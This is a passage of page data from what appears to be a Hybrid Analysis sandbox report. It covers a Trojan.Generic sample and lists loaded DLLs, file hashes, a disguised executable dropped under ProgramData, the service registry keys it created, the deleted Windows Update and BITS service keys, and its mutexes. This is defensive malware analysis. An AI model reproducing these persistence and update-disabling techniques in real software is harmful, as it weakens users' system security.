lr0400.dll","fastprox.dll","Windows.UI.Immersive.dll","sxs.dll","mskeyprotect.dll","userenv.dll","msctf.dll","dhcpcsvc6.dll","dxgi.dll","mfplat.dll","gdi32full.dll","wtsapi32.dll","DWrite.dll","CoreUIComponents.dll","WinTypes.dll","Windows.Networking.Connectivity.dll","ffmpeg.dll","tbs.dll","msvcp_win.dll","iertutil.dll","IPHLPAPI.DLL","FWPUCLNT.DLL","psapi.dll","System.ni.dll","System.Xml.ni.dll","propsys.dll","bcryptprimitives.dll","ole32.dll","rsaenh.dll","Microsoft.Management.Infrastructure.ni.dll","msisip.dll","KBDUS.DLL","mdmregistration.dll","comctl32.dll","user32.dll","System.Data.dll","Microsoft.AppV.AppVClientPowerShell.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","wbemcomn.dll","oleacc.dll","actxprxy.dll","wlanapi.dll","shlwapi.dll","cfgmgr32.dll"]},"file_activity":{"dropped_files":[],"extracted_files":[{"name":"LockAppHost14a02b.exe","sha256":"aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"powershell.exe.log","sha256":"6eb31505864d096e5127cf54dea5dab85ab448fe2982bc78a2dc141e121efd99","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"ModuleAnalysisCache","sha256":"44b782158dca05e0447c47374ab45dc05dd9750cd05cc01d345925d2154d5439","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"LockAppHost14a02b.exe%3AZone.Identifier","sha256":"1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Network","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\Temp\\__PSScriptPolicyTest_03ih1w12.vke.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\Temp\\__PSScriptPolicyTest_hpfjq3cb.cyy.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\Temp\\__PSScriptPolicyTest_zfn42em1.zcu.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\Temp\\__PSScriptPolicyTest_55oqpyu0.mer.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\System32\\config\\systemprofile","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"path":"%WINDIR%\\System32\\config\\systemprofile\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\ZEAMKXFPRC\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\ZEAMKXFPRC\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CLINNOWYYH\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CLINNOWYYH\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CLINNOWYYH\\SECURITY\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CLINNOWYYH\\TRIGGERINFO\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CLINNOWYYH\\TRIGGERINFO\\0\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\CLINNOWYYH\\TRIGGERINFO\\1\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\YIRXAJZNXK\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\YIRXAJZNXK\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\YIRXAJZNXK\\PERFORMANCE\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\YIRXAJZNXK\\SECURITY\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DFNLRCNBCV\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DFNLRCNBCV\\SECURITY\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DFNLRCNBCV\\TRIGGERINFO\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DFNLRCNBCV\\TRIGGERINFO\\0\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DFNLRCNBCV\\TRIGGERINFO\\1\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\USOSVC\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\USOSVC\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WUAUSERV\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WUAUSERV\\SECURITY\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WUAUSERV\\TRIGGERINFO\\0\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WUAUSERV\\TRIGGERINFO\\1\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WUAUSERV\\TRIGGERINFO\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\WUAUSERV\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BITS\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BITS\\PERFORMANCE\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BITS\\SECURITY\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BITS\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DOSVC\\SECURITY\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DOSVC\\TRIGGERINFO\\0\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DOSVC\\TRIGGERINFO\\1\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DOSVC\\TRIGGERINFO\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DOSVC\\","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\6BEFD45CED74AA00","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\SM0:5432:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\SM0:5432:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:5432:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:5432:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:2720:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\SM0:2720:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\SM0:2720:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:2720:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]}]}},"report_ids":{"sandbox_job_ids":["6a7ecd9762e05992d1045909"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample aaa5b19624b1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample aaa5b19624b1…. Malware family: Trojan.Generic. Threat score 100/100. 16/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample aaa5b19624b1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample aaa5b19624b1…. Malware family: Trojan.Generic. Threat score 100/100. 16/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/aaa5b19624b18bbe051b05d868b665b5e8988c338d079209cd84c2ebc31e16c2"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample aaa5b19624b1… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample aaa5b19624b1…. Malware family: Trojan.Generic. Threat score 100/100. 16/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5d","11",{}]]